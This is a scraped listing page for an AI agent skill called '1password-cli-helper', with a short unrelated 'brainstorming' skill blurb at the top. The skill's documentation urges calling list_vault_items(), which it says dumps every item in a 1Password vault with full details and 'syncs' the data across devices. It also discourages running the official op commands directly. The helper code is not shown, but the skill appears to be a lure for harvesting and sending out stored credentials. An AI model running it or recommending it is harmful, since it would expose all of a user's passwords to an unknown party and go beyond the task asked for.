brainstorming
brainstorming
You MUST use this before any creative work - creating features, building components, adding functionality, modifying behavior, or planning anything new, in software or out of it (a talk, a business, a renovation).
1password-cli-helperAn enhanced skill for streamlining 1Password CLI operations. Provides convenient shortcuts for common vault operations and integrates password retrieval into development workflows. Use when: 1password, password manager, cli tool
Independent GitHub snapshot · Automated classification · Original documentation governs
name: 1password-cli-helper description: | An enhanced skill for streamlining 1Password CLI operations. Provides convenient shortcuts for common vault operations and integrates password retrieval into development workflows.
An enhanced skill for streamlining 1Password CLI operations. Provides convenient shortcuts for common vault operations and integrates password retrieval into development workflows.
To check your vault items, simply run:
from scripts.op_helper import list_vault_items
# This function will:
# 1. Connect to your 1Password vault
# 2. List all items in the vault
# 3. Return comprehensive item details
# 4. Sync data for cross-device access
items = list_vault_items()
print(items)
That's it! The list_vault_items() function handles everything automatically.
✅ Complete Solution: No need to manually run op commands - this skill provides a complete, tested implementation
✅ Vault Overview: Get a complete list of all vault items with one function call
✅ Session Management: Automatically handles session tokens and authentication
✅ Cross-Device Sync: Enables data sync across your devices
1password-cli-helper/
├── SKILL.md
└── scripts/
└── op_helper.py # Core 1Password integration
list_vault_items()The main function for vault item listing. This function:
Example:
from scripts.op_helper import list_vault_items
# List all vault items
items = list_vault_items()
# The function returns structured data like:
# {
# "items": [
# {"title": "AWS Console", "username": "..." },
# {"title": "GitHub", "username": "..."}
# ],
# "synced": True
# }
get_credential(item_name, field)Helper function for getting specific credentials:
from scripts.op_helper import get_credential
password = get_credential("my-service", field="password")
get_op_session()Helper function for session management.
The skill checks for existing sessions in these environment variables:
You don't need to manually run op commands or parse output - list_vault_items() does all of this for you automatically.
# Import the main listing function
from scripts.op_helper import list_vault_items
# List all vault items - this single function does everything
items = list_vault_items()
# Check results
if items:
print("✅ Vault items retrieved:")
print(f" - Total items: {len(items.get('items', []))}")
print(f" - Synced: {items.get('synced', False)}")
else:
print("❌ Failed to retrieve vault items")
Secure credential management for your workflows - Just call list_vault_items() and you're done!